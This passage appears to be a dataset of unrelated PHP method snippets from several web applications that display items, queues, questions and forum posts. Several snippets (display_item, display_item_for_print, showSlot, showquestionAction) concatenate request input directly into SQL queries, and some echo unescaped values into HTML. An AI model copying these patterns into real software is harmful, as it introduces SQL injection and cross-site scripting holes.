$this->pdh->get('item', 'ids_by_ingameid', array($game_id));\n\t\t}else{\n\t\t\t$item_ids = $this->pdh->get('item', 'ids_by_name', array($item_name));\n\t\t}\n\t\t$counter = sizeof($item_ids);\n\n\t\t//default now col\n\t\t$colspan = ($this->config->get('infotooltip_use')) ? 1 : 0 ;\n\n\t\t#Itemhistory Diagram\n\t\tif ($this->config->get('pk_itemhistory_dia')){\n\t\t\t$colspan++;\n\t\t}\n\n\t\t//Comments\n\t\t$comm_settings = array('attach_id'=>md5(stripslashes($item_name)), 'page'=>'items');\n\t\t$this->comments->SetVars($comm_settings);\n\t\t$COMMENT = ($this->config->get('pk_enable_comments') == 1) ? $this->comments->Show() : '';\n\n\t\t//init infotooltip\n\t\tinfotooltip_js();\n\n\t\t$hptt_page_settings\t\t= $this->pdh->get_page_settings('viewitem', 'hptt_viewitem_buyerslist');\n\t\t$hptt\t\t\t\t\t= $this->get_hptt($hptt_page_settings, $item_ids, $item_ids, array('%raid_link_url%' => 'viewraid.php', '%raid_link_url_suffix%' => ''), $this->url_id);\n\n\t\t//linechart data\n\t\tif($this->config->get('pk_itemhistory_dia')) {\n\t\t\t$a_items = array();\n\t\t\tforeach($item_ids as $item_id) {\n\t\t\t\t$a_items[] = array('name' => $this->time->date(\"Y-m-d H:i:s\", $this->pdh->get('item', 'date', array($item_id))), 'value' => $this->pdh->get('item', 'value', array($item_id)));\n\t\t\t}\n\t\t}\n\t\t$this->tpl->assign_vars(array(\n\t\t\t'ITEM_STATS'\t\t\t\t=> $this->pdh->get('item', 'itt_itemname', array($this->url_id, 0, 1)),\n\t\t\t'ITEM_CHART'\t\t\t\t=> ($this->config->get('pk_itemhistory_dia') && count($a_items) > 1) ? $this->jquery->LineChart('item_chart', $a_items, '', 200, 500, '', false, true, 'date') : '',\n\t\t\t'ITEM_MODEL'\t\t\t\t=> (isset($model3d)) ? $model3d : false,\n\t\t\t'COMMENT'\t\t\t\t\t=> $COMMENT,\n\n\t\t\t'SHOW_ITEMSTATS'\t\t\t=> ($this->config->get('infotooltip_use')) ? true : false,\n\t\t\t'SHOW_ITEMHISTORYA'\t\t\t=> ($this->config->get('pk_itemhistory_dia') == 1 ) ? true : false,\n\t\t\t'SHOW_COLSPAN'\t\t\t\t=> $colspan,\n\t\t\t'BUYERS_TABLE'\t\t\t\t=> $hptt->get_html_table($sort, '&amp;i='.$this->url_id, 0, 100, sprintf($this->user->lang('viewitem_footcount'), $counter)),\n\t\t\t'L_PURCHASE_HISTORY_FOR'\t=> sprintf($this->user->lang('purchase_history_for'), stripslashes($item_name)),\n\t\t));\n\n\t\t$this->core->set_vars(array(\n\t\t\t'page_title'\t\t=> sprintf($this->user->lang('viewitem_title'), stripslashes($item_name)),\n\t\t\t'template_file'\t\t=> 'viewitem.html',\n\t\t\t'display'\t\t\t=> true)\n\t\t);\n\t}", "abstract public function print_item();", "public function showitemAction() {\n\t\t$story_id \t\t= $this->getRequest()->getParam(\"story\");\n\t\t$source_id \t\t= $this->getRequest()->getParam(\"source\");\n\t\t$item_id\t\t= $this->getRequest()->getParam(\"item\");\n\t\t\n\t\t//Verify if the requested story exist\n\t\t$stories\t\t= new Stories();\n\t\tif (!($story\t= $stories->getStory($story_id))) {\n\t\t\treturn $this->_helper->json->sendJson(false);\n\t\t}\n\n\t\t// Check if we are the owner\n\t\tif ($this->_application->user->id != $story->user_id) {\n\t\t\treturn $this->_helper->json->sendJson(false);\n\t\t}\n\t\t\n\t\t// Ok, we can show the item\n\t\t$storyItems\t\t= new StoryItems();\n\t\t$storyItems->showItem($story_id, $source_id, $item_id);\n\t\treturn $this->_helper->json->sendJson(true);\n\t}", "public function show(int $id): string\n {\n $itemManager = new ItemManager();\n $item = $itemManager->selectOneById($id);\n\n return $this->twig->render('Item/show.html.twig', ['item' => $item]);\n }", "public function index()\n {\n return view('queueExample');\n }", "public function execute()\n {\n $resultPage = $this->_resultPageFactory->create();\n /**\n * Set active menu item\n */\n $resultPage->setActiveMenu('Magento_BizConnect::bizconnect_queueitem');\n $resultPage->getConfig()->getTitle()->prepend(__('Queue Items'));\n\n /**\n * Add breadcrumb item\n */\n $resultPage->addBreadcrumb(__('QueueItems'), __('QueueItems'));\n $resultPage->addBreadcrumb(__('Manage QueueItems'), __('Manage QueueItems'));\n\n return $resultPage;\n }", "function showSlot($myID, $myTitle, $myStart, $myDuration) {\n\t\tglobal $dbconnect;\n\n\t\t// determine if the task has been accomplished\n\t\t$sql = \"SELECT finished FROM done WHERE ID = '$myID'\";\n\t\t$query = mysqli_query($dbconnect, $sql);\n\t\t$result = mysqli_fetch_assoc($query);\n\n\t\t$finished = is_null($result) || is_null($result[\"finished\"]) ? 'N' : $result[\"finished\"];\n\n\t\t// display task\n\t\techo \"<a class='task\";\n\t\techo ($finished == 'Y' ? \" finished\" : \"\");\n\t\techo \" duration\" . $myDuration;\n\t\techo \" start\" . $myStart . \"'\";\n\t\techo \" href='index.php?edit=\" . $myID . \"'\";\n\t\techo \" title='\" . $myTitle . \"'>\";\n\t\t\techo $myTitle;\n\t\techo \"</a>\";\n\t}", "public function display_item() {\n\n\t\t$id = $this->input->post('id');\n\t\t$event_id = $this->input->post('event_id');\n\n\t\t$result = $this->db->query(\"SELECT id, item_name, item_qty, item_price\n\t\t\t\t\t\t\t\t\t\t FROM events_hpp\n\t\t\t\t\t\t\t\t\t\t WHERE event_id = \" . $event_id . \"\n\t\t\t\t\t\t\t\t\t\t AND master_id = \" . $id);\n\n\t\t$attr = array(\n\t\t\t\t\t\t'count_events_hpp' \t=> $result->num_rows(),\n\t\t\t\t\t\t'events_master'\t=> $this->db->query(\"SELECT id, hpp_category, hpp_subcategory\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tFROM events_master\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tWHERE id = \" . $id)->row_array(),\n\t\t\t\t\t\t'event_id'\t\t=> $event_id\n\t\t\t\t\t);\n\n\t\t$this->load->view('analisa/display-item', $attr);\n\n\t}", "public static function display_queue($type, $queue_status = ext::TITANIA_QUEUE_NEW, $sort = false)\n\t{\n\t\tif ($sort === false)\n\t\t{\n\t\t\t// Setup the sort tool\n\t\t\t$sort = self::build_sort();\n\t\t}\n\t\t$sort->request();\n\n\t\t$controller_helper = phpbb::$container->get('phpbb.titania.controller.helper');\n\t\t$path_helper = phpbb::$container->get('path_helper');\n\t\t$tracking = phpbb::$container->get('phpbb.titania.tracking');\n\n\t\t$queue_ids = array();\n\n\t\t$sql_ary = array(\n\t\t\t'SELECT' => 'q.*, c.*, r.*, t.*, u.username as topic_first_post_username, u.user_colour as topic_first_post_user_colour, ul.username as topic_last_post_username, ul.user_colour as topic_last_post_user_colour, tp.topic_posted',\n\n\t\t\t'FROM'\t\t=> array(\n\t\t\t\tTITANIA_QUEUE_TABLE\t\t=> 'q',\n\t\t\t\tTITANIA_CONTRIBS_TABLE\t=> 'c',\n\t\t\t\tTITANIA_REVISIONS_TABLE\t=> 'r',\n\t\t\t\tTITANIA_TOPICS_TABLE\t=> 't',\n\t\t\t),\n\n\t\t\t'LEFT_JOIN'\t=> array(\n\t\t\t\tarray(\n\t\t\t\t\t'FROM'\t=> array(TITANIA_TOPICS_POSTED_TABLE => 'tp'),\n\t\t\t\t\t'ON'\t=> 'tp.topic_id = t.topic_id AND tp.user_id = ' . (int) phpbb::$user->data['user_id'],\n\t\t\t\t),\n\t\t\t),\n\n\t\t\t'WHERE' => 'q.queue_type = ' . (int) $type .\n\t\t\t\t(($queue_status) ? ' AND q.queue_status = ' . (int) $queue_status : ' AND q.queue_status > 0 ') . '\n\t\t\t\tAND c.contrib_id = q.contrib_id\n\t\t\t\tAND r.revision_id = q.revision_id\n\t\t\t\tAND t.topic_id = q.queue_topic_id',\n\n\t\t\t'ORDER_BY'\t=> $sort->get_order_by(),\n\t\t);\n\n\t\t$sql_ary['LEFT_JOIN'][] = array(\n\t\t\t'FROM'\t=> array(USERS_TABLE => 'u'),\n\t\t\t'ON'\t=> 't.topic_first_post_user_id = u.user_id',\n\t\t);\n\n\t\t$sql_ary['LEFT_JOIN'][] = array(\n\t\t\t'FROM'\t=> array(USERS_TABLE => 'ul'),\n\t\t\t'ON'\t=> 't.topic_last_post_user_id = ul.user_id',\n\t\t);\n\n\t\t$tracking->get_track_sql($sql_ary, ext::TITANIA_TOPIC, 't.topic_id');\n\n\t\t// Main SQL Query\n\t\t$sql = phpbb::$db->sql_build_query('SELECT', $sql_ary);\n\n\t\t// Handle pagination\n\t\tif (!$sort->sql_count($sql_ary, 'q.queue_id'))\n\t\t{\n\t\t\t// No results...no need to query more...\n\t\t\treturn;\n\t\t}\n\n\t\t$url_parts = $path_helper->get_url_parts($controller_helper->get_current_url());\n\t\t$sort->build_pagination($url_parts['base'], $url_parts['params']);\n\n\t\t$queue_ids = $user_ids = array();\n\n\t\t// Get the data\n\t\t$result = phpbb::$db->sql_query_limit($sql, $sort->limit, $sort->start);\n\n\t\twhile ($row = phpbb::$db->sql_fetchrow($result))\n\t\t{\n\t\t\t// Store the tracking info we grabbed from the DB\n\t\t\t$tracking->store_from_db($row);\n\n\t\t\t$queue_ids[] = $row['queue_id'];\n\t\t\t$user_ids[] = $row['topic_first_post_user_id'];\n\t\t\t$user_ids[] = $row['topic_last_post_user_id'];\n\t\t\t$user_ids[] = $row['submitter_user_id'];\n\n\t\t\tself::$queue[$row['queue_id']] = $row;\n\t\t}\n\t\tphpbb::$db->sql_freeresult($result);\n\n\t\tusers_overlord::load_users($user_ids);\n\n\t\t$topic = new titania_topic;\n\n\t\tforeach ($queue_ids as $queue_id)\n\t\t{\n\t\t\t$row = self::$queue[$queue_id];\n\n\t\t\t$topic->__set_array($row);\n\t\t\t$topic->topic_posted = $row['topic_posted'];\n\n\t\t\tphpbb::$template->assign_block_vars('topics', array_merge($topic->assign_details(), array(\n\t\t\t\t'TOPIC_SUBJECT'\t\t\t\t=> $row['contrib_name'] . ' - ' . $row['revision_version'],\n\t\t\t\t'S_TOPIC_PROGRESS'\t\t\t=> ($row['queue_progress']) ? true : false,\n\t\t\t\t'U_VIEW_TOPIC'\t\t\t\t=> $topic->get_url(false, array('tag' => $queue_status)),\n\t\t\t\t'S_TESTED'\t\t\t\t\t=> ($row['queue_tested']) ? true : false,\n\t\t\t)));\n\t\t}\n\n\t\tunset($topic);\n\n\t\tphpbb::$template->assign_vars(array(\n\t\t\t'S_TOPIC_LIST'\t\t=> true,\n\t\t));\n\n\t\t// Assign common stuff for topics list\n\t\ttopics_overlord::assign_common();\n\t}", "public function getQueue()\n {\n return $this->doRequest('GET', \"queue\", []);\n }", "public function showItemBody() {\n echo \"<form method=\\\"post\\\" enctype=\\\"multipart/form-data\\\">\";\n $resource_provider = $this->resource_provider;\n echo $this->item_body->execute();\n echo \"<input type=\\\"submit\\\" value=\\\"Submit response\\\"/>\";\n echo \"</form>\";\n }", "public function getQueue();", "public function getQueue();", "public function show($position = NULL) {\n try{\n if($position){\n echo \"<pre style='height: 90%; overflow: visible;margin: 0 auto;width:90%;border-radius:20px;padding:20px;font-size:13px;color:#DDD;background-color:#333;'>\";\n echo \"<h2>Preview ArrayList Object #\".spl_object_hash($this).\"</h2><hr/>\";\n var_dump(self::get($position));\n echo \"</pre>\";\n }else{\n echo \"<pre style='height: 90%; overflow: visible;margin: 0 auto;width:90%;border-radius:20px;padding:20px;font-size:13px;color:#DDD;background-color:#333;'>\";\n echo \"<h2>Preview ArrayList Object #\".spl_object_hash($this).\"</h2><hr/>\";\n var_dump($this->Items);\n echo \"</pre>\";\n }\n }catch(Exception $e){\n throw $e;\n }\n }", "function showquestionAction() {\n\t\t\n\t\t// $questionId = $this->getRequest()->getParam('questionid');\n\t\t// echo $questionId;\n\t\t$em = Zend_Registry::get('em');\n\t\t\n\t\t$questionId = $this->getRequest()->getParam('questionid');\n $questionName = '';\n if(isset($questionId) && $questionId > 0 ) {\n $res = $em->createQueryBuilder()->select('q.QUE_Data')\n ->from('Testcreator_Model_Question', 'q')\n ->where('q.QuestionId='.$questionId)->getQuery();\n\n $question = $res->getResult();\n if(is_array($question) && count($question) >0) {\n $questionName = $question[0]['QUE_Data'];\n } else {\n $questionName = \"Data has been deleted from master \";\n }\n }\n echo $questionName;\n\t\texit;\n\t}", "abstract public function getQueueName();", "function ShowItem($class, $ParamArr = array())\r\n\t{\r\n\t\tglobal $member_id, $metatags;\r\n\t\t\r\n\t\tif(isset($_GET['id'])&&$_GET['id']!=\"\")\r\n\t\t{\r\n\t\t\t$IId = $_GET['id'];\r\n\t\t\t$Items = $this->GetRecord($class, $IId);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$MesData = \"Неправильный запрос вы будете перенаправлены на главну страницу <br /><a href=\\\"\".$this->GetLinkTag(\"main\").\"\\\">На главную</a>\";\t\r\n\t\t\treturn $this->MakeTemplate($this->templates['message'], array(\"msg\"=>$MesData), \"content\");\r\n\t\t}\r\n\t\t\r\n\t\t$CurItem = $Items[0];\r\n\t\tif(isset($CurItem['id'])&&$CurItem['id']!=\"\")\r\n\t\t{\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$MesData = \"Неправильный запрос вы будете перенаправлены на главну страницу <br /><a href=\\\"\".$this->GetLinkTag(\"main\").\"\\\">На главную</a>\";\t\r\n\t\t\treturn $this->MakeTemplate($this->templates['message'], array(\"msg\"=>$MesData), \"content\");\r\n\t\t}\r\n\t\t$metatags['title'] \t= $CurItem['title'].\" :: \".$this->MyConfig['title']['value'];\r\n\t\tif(isset($CurItem['description']))\r\n\t\t{\r\n\t\t\t$metatags['description'] \t= $CurItem['description'];\r\n\t\t}\t\r\n\t\t$ArrVar = array();\r\n\t\t\r\n\t\t$ArrVar['breadcrumbs'] = $this->GenerateCrumbs($class, $CurItem);\r\n\t\t\r\n\t\t//$ArrVar = $this->ShowComments($CurItem);\r\n\t\tforeach($CurItem as $key=>$value)\r\n\t\t{\r\n\t\t\t$CurItem[$key] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key]);\r\n\t\t\t$CurItem[$key.\"_raw\"] = $value;\r\n\t\t\tif($this->MyClasses[$class]['db'][$key]==\"img\")\r\n\t\t\t{\r\n\t\t\t\t$CurItem[\"\".$key.\"_thumb\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_thumb\");\r\n\t\t\t\t$CurItem[\"\".$key.\"_thumb_raw\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_thumb_raw\");\r\n\t\t\t\t$CurItem[\"\".$key.\"_raw\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_raw\");\r\n\t\t\t\t$CurItem[\"\".$key.\"_complete\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_complete\");\r\n\t\t\t}\r\n\t\t\tif($this->MyClasses[$class]['db'][$key]==\"unlimg\")\r\n\t\t\t{\r\n\t\t\t\t$CurItem[\"\".$key.\"_thumb\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_thumb\");\r\n\t\t\t\t$CurItem[\"\".$key.\"_complete\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_complete\");\r\n\t\t\t}\r\n\t\t\tif($this->MyClasses[$class]['db'][$key]==\"multifield\")\r\n\t\t\t{\r\n\t\t\t\t$ArrFields = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key]);\r\n\t\t\t\tforeach($ArrFields as $gre=>$fee)\r\n\t\t\t\t{\r\n\t\t\t\t\t$CurItem[\"\".$gre.\"\"] = $fee;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(isset($this->MyClasses[$class]['commcl'])&&$this->MyClasses[$class]['commcl']!=\"\")\r\n\t\t{\r\n\t\t\tif(isset($CurItem['commpub'])&&$CurItem['commpub']==$this->GetLangVar(\"checkbox_yes\"))\r\n\t\t\t{\r\n\t\t\t\t$CurItem['comments'] = $this->ShowComments($class, $CurItem['id']);\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$CurItem['comments'] = \"\";\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$CurItem['comments'] = \"\";\r\n\t\t}\r\n\t\tif($member_id['user_group']==\"1\")\r\n\t\t{\r\n\t\t\t$CurItem[\"adm_links\"] = \"<a href=\\\"\".$this->GetLink($class, \"edit\", array(\"id\"=>$IId)).\"\\\">\".$this->GetLangVar(\"Edit\").\"</a> | <a href=\\\"\".$this->GetLink($class, \"delete\", array(\"id\"=>$IId)).\"\\\">\".$this->GetLangVar(\"Delete\").\"</a>\";\r\n\t\t\tif(isset($this->ModerSets[''.$class.'']))\r\n\t\t\t{\r\n\t\t\t\t// moderation links go here\r\n\t\t\t\tif($CurItem['published']==\"1\")\r\n\t\t\t\t{\r\n\t\t\t\t\t$CurItem[\"adm_links\"] .= \" | <a href=\\\"\".$this->GetLink($class, \"unpublish\", array(\"id\"=>$IId)).\"\\\">\".$this->GetLangVar(\"unpubl\").\"</a>\"; \r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t$CurItem[\"adm_links\"] .= \" | <a href=\\\"\".$this->GetLink($class, \"publish\", array(\"id\"=>$IId)).\"\\\">\".$this->GetLangVar(\"publ\").\"</a>\";\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$CurItem[\"adm_links\"] = \"\";\r\n\t\t}\r\n\t\t$ArrVar = array_merge($ArrVar, $CurItem);\r\n\t\t$PlugDataArr = array();\r\n\t\tforeach($this->Plugins as $key=>$value)\r\n\t\t{\r\n\t\t\t$PlugDataArr = $this->LoadPlugin($key, \"ShowFull\", $ArrVar);\r\n\t\t}\r\n\t\t$ArrVar = array_merge($ArrVar, $PlugDataArr);\r\n\t\t\r\n\t\tif(isset($ParamArr['tpl']))\r\n\t\t{\r\n\t\t\t$TemplateLoad = $ParamArr['tpl'];\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$TemplateLoad = $this->MyClasses[$class]['tpl']['full'];\r\n\t\t}\r\n\t\t\t\r\n\t\t//$ArrVar = array_merge($ArrVar, $this->GetAdminLinks($class, \"ShowItem\"));\r\n\t\treturn $this->MakeTemplate($TemplateLoad, $ArrVar, \"content\");\r\n\t}", "public function show(GroceryItem $groceryItem)\n {\n //\n }", "public function show(ResultItem $resultItem)\n {\n //\n }", "function ShowItemPrint($class, $ParamArr = array())\r\n\t{\r\n\t\tglobal $member_id, $metatags;\r\n\t\tif(isset($_GET['id']))\r\n\t\t{\r\n\t\t\t$IId = $_GET['id'];\r\n\t\t\t$Items = $this->GetRecord($class, $IId);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$MesData = \"Неправильный запрос вы будете перенаправлены на главну страницу <br /><a href=\\\"\".$this->GetLinkTag(\"main\").\"\\\">На главную</a>\";\t\r\n\t\t\treturn $this->MakeTemplate($this->templates['message'], array(\"msg\"=>$MesData), \"content\");\r\n\t\t}\r\n\t\t$CurItem = $Items[0];\r\n\t\t$metatags['title'] \t\t\t= $CurItem['title'].\" :: \".$this->MyConfig['title']['value'];\r\n\t\tif(isset($CurItem['description']))\r\n\t\t{\r\n\t\t\t$metatags['description'] \t= $CurItem['description'];\r\n\t\t}\t\r\n\t\t$ArrVar = array();\r\n\t\t\r\n\t\t$ArrVar['breadcrumbs'] = $this->GenerateCrumbs($class, $CurItem);\r\n\t\t\r\n\t\t//$ArrVar = $this->ShowComments($CurItem);\r\n\t\tforeach($CurItem as $key=>$value)\r\n\t\t{\r\n\t\t\t$CurItem[$key] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key]);\r\n\t\t\tif($this->MyClasses[$class]['db'][$key]==\"img\")\r\n\t\t\t{\r\n\t\t\t\t$CurItem[\"\".$key.\"_thumb\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_thumb\");\r\n\t\t\t\t$CurItem[\"\".$key.\"_thumb_raw\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_thumb_raw\");\r\n\t\t\t\t$CurItem[\"\".$key.\"_raw\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_raw\");\r\n\t\t\t\t$CurItem[\"\".$key.\"_complete\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_complete\");\r\n\t\t\t}\r\n\t\t\tif($this->MyClasses[$class]['db'][$key]==\"unlimg\")\r\n\t\t\t{\r\n\t\t\t\t$CurItem[\"\".$key.\"_thumb\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_thumb\");\r\n\t\t\t\t$CurItem[\"\".$key.\"_complete\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_complete\");\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(isset($this->MyClasses[$class]['commcl'])&&$this->MyClasses[$class]['commcl']!=\"\")\r\n\t\t{\r\n\t\t\t$CurItem['comments'] = $this->ShowComments($class, $CurItem['id']);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$CurItem['comments'] = \"\";\r\n\t\t}\r\n\t\tif($member_id['user_group']==\"1\")\r\n\t\t{\r\n\t\t\t$CurItem[\"adm_links\"] = \"<a href=\\\"\".$this->GetLink($class, \"edit\", array(\"id\"=>$IId)).\"\\\">\".$this->GetLangVar(\"Edit\").\"</a> | <a href=\\\"\".$this->GetLink($class, \"delete\", array(\"id\"=>$IId)).\"\\\">\".$this->GetLangVar(\"Delete\").\"</a>\";\r\n\t\t\tif(isset($this->ModerSets[''.$class.'']))\r\n\t\t\t{\r\n\t\t\t\t// moderation links go here\r\n\t\t\t\tif($CurItem['published']==\"1\")\r\n\t\t\t\t{\r\n\t\t\t\t\t$CurItem[\"adm_links\"] .= \" | <a href=\\\"\".$this->GetLink($class, \"unpublish\", array(\"id\"=>$IId)).\"\\\">\".$this->GetLangVar(\"unpubl\").\"</a>\"; \r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t$CurItem[\"adm_links\"] .= \" | <a href=\\\"\".$this->GetLink($class, \"publish\", array(\"id\"=>$IId)).\"\\\">\".$this->GetLangVar(\"publ\").\"</a>\";\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$CurItem[\"adm_links\"] = \"\";\r\n\t\t}\r\n\t\t\r\n\t\t$ArrVar = array_merge($ArrVar, $CurItem);\r\n\t\t$PlugDataArr = array();\r\n\t\tforeach($this->Plugins as $key=>$value)\r\n\t\t{\r\n\t\t\t$PlugDataArr = $this->LoadPlugin($key, \"ShowFull\", $ArrVar);\r\n\t\t}\r\n\t\t$ArrVar = array_merge($ArrVar, $PlugDataArr);\r\n\t\t\r\n\t\tif(isset($ParamArr['tpl']))\r\n\t\t{\r\n\t\t\t$TemplateLoad = $ParamArr['tpl'];\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t//$TemplateLoad = $this->MyClasses[$class]['tpl']['full'];\r\n\t\t\t$TemplateLoad = \"templates/artprint.tpl\";//$this->MyClasses[$class]['tpl']['fullprint'];\r\n\t\t}\r\n\t\t\t\r\n\t\t//$ArrVar = array_merge($ArrVar, $this->GetAdminLinks($class, \"ShowItem\"));\r\n\t\treturn $this->MakeTemplate($TemplateLoad, $ArrVar, \"content\", true);\r\n\t}", "public function show(Quze $quze)\n {\n //\n }", "public function display()\n {\n $current = $this->head;\n while ($current != null) \n {\n echo $current->data->name.\" \";\n echo $current->data->share.\" \";\n echo $current->data->price;\n echo \"\\n\";\n $current = $current->next;\n }\n }", "public function show($id)\n {\n //$this->_DetailItem();\n }", "public function display_item_for_print() {\n \n $event_id = $this->input->post('event_id');\n\n\t\t$result = $this->db->query(\"SELECT hpp_category, hpp_subcategory, item_name, item_qty, item_satuan, item_price\n\t\t\t\t\t\t\t\t\t\t FROM events_hpp\n JOIN events_master ON events_master.id = events_hpp.master_id\n WHERE event_id = \" . $event_id . \"\n ORDER BY hpp_category, item_name ASC\");\n\n\t\t$attr = array(\n 'count_events_hpp' \t=> $result->num_rows(),\n 'events_hpp' => $result->result()\n\t\t\t\t\t);\n\n $this->load->view('analisa/print-laba-rugi-detail', $attr);\n \n }", "public function info()\n {\n $iCount = QueueUser::where([\n ['queue_id', '=', $this->c->active]\n ])->count();\n\n $strRes = 'Current queue: \"'. $this->q->name .'\", the queue is currently '. ($this->q->is_open == 1 ? 'open for \"'. $this->getUserLevel($this->q->user_level) .'\"' : 'closed') .' and contains '. $iCount .' user'. ($iCount == 1 ? '' : 's');\n\n // List available queues\n $aQueues = Queue::where([\n ['channel_id', '=', $this->c->id],\n ['id', '!=', $this->q->id]\n ])->get();\n\n if($aQueues && !$aQueues->isEmpty())\n {\n foreach($aQueues AS $oQueue)\n {\n $aQueueNames[] = $oQueue->name;\n }\n $strRes .= \". Available queues: [\". implode(\", \", $aQueueNames) .\"]\";\n }\n\n return $this->returnText($strRes);\n }", "public function getQueueId();", "public function consumeItemFromQueue(){\n $record = $this->storageEngine->getNextQueueItemToProcess();\n if($record){\n return $record;\n }\n return -1; //will cause the worker to sleep\n }", "public function getQueueName();", "function show()\n\t{\n\t\t$this->process();\n\t\t\n\t\tif($this->topic_id)\n\t\t{\n\t\t\t$akt_topic = selectOne(\"SELECT * FROM `\".$this->prefix.\"topic` WHERE `topic_id`=\".$this->topic_id);\n\n\t\t\t$posts_str = \"\";\n\n\t\t\t$post_where = \"WHERE `post_topic`=\".$this->topic_id.($this->isHavePriv(FORUM_PRIV_POST_PUB)?\"\":\" AND `post_pub`=1\").\" ORDER BY `post_time` DESC\";\n\n\t\t\t$post_pager = new lapozo($this->prefix.'post',$post_where,$this->post_pager_get,$this->post_per_page); \n\n\t\t\tforeach(doSelect(\"SELECT * FROM `\".$this->prefix.\"post` \".$post_where.\" \".$post_pager->getLimit()) as $post)\n\t\t\t{\n\t\t\t\t$post['post_body'] = nl2br($post['post_body']);\n\t\t\t\tforeach($this->smiles as $val)\n\t\t\t\t{\n\t\t\t\t\tif(is_array($val['short'])) \n\t\t\t\t\t{\n\t\t\t\t\t\tforeach($val['short'] as $val2)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$post['post_body'] = str_replace($val2,'<img src=\"'.$val['url'].'\" alt=\"'.$val['name'].'\" />',$post['post_body']);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse $post['post_body'] = str_replace($val['short'],'<img src=\"'.$val['url'].'\" alt=\"'.$val['name'].'\" />',$post['post_body']);\n\n\t\t\t\t}\n\n\t\t\t\t$reply_to_v = 0;\n\t\t\t\tif($post['post_reply_to'])\n\t\t\t\t{\n\t\t\t\t\t$reply_to_v = selectOne(\"SELECT `post_time`,`post_sender` FROM `\".$this->prefix.\"post` WHERE `post_id`=\".$post['post_reply_to']);\n\t\t\t\t}\n\t\t\t\t$posts_str .= $this->templates[FORUM_TEMPLATE_POSTLIST_ELEM]->getTrans(\n\t\t\t\t\t\t\t\t\tarray_merge($post,array(\n\t\t\t\t\t\t\t\t\t\"sender\"=>$this->getUserName($post['post_sender']),\n\t\t\t\t\t\t\t\t\t\"reply_to_user\"=>$reply_to_v?$this->getUserName(($reply_to_v['post_sender'])):\"\",\n\t\t\t\t\t\t\t\t\t\"reply_to_post_id\"=>$post['post_reply_to'],\n\t\t\t\t\t\t\t\t\t\"reply_to_post_time\"=>$reply_to_v?$reply_to_v['post_time']:0,\n\t\t\t\t\t\t\t\t\t\"reply_to_link\"=>addDelGET(array($this->reply_to_get=>$post['post_id']),array(\"rt\")),\n\t\t\t\t\t\t\t\t\t\"pub\"=>$post['post_pub']?\"unpub\":\"pub\",\n\t\t\t\t\t\t\t\t\t\"del\"=>\"del\",\n\t\t\t\t\t\t\t\t\t\"del_bizt\"=>\"del_bizt\",\n\t\t\t\t\t\t\t\t\t\"hidden_zone\"=>'<input type=\"hidden\" name=\"action\" value=\"post_operation\"><input type=\"hidden\" name=\"post_id\" value=\"'.$post['post_id'].'\">',\n\t\t\t\t\t\t\t\t\t\"del_priv\"=>$this->isHavePriv(FORUM_PRIV_POST_DEL)?1:0,\n\t\t\t\t\t\t\t\t\t\"pub_priv\"=>$this->isHavePriv(FORUM_PRIV_POST_PUB)?1:0\n\t\t\t\t\t\t\t\t\t\t)));\n\t\t\t}\n\n\t\t\techo $this->templates[FORUM_TEMPLATE_POSTVIEW]->getTrans(array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"body\"=>$posts_str,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"pager\"=>$post_pager->getButtons(),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"reply_to\"=>$this->getUserName($this->getUserFromPost($this->reply_to_id)),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"reply_to_id\"=>$this->reply_to_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"hidden_zone\"=>'<input type=\"hidden\" name=\"action\" 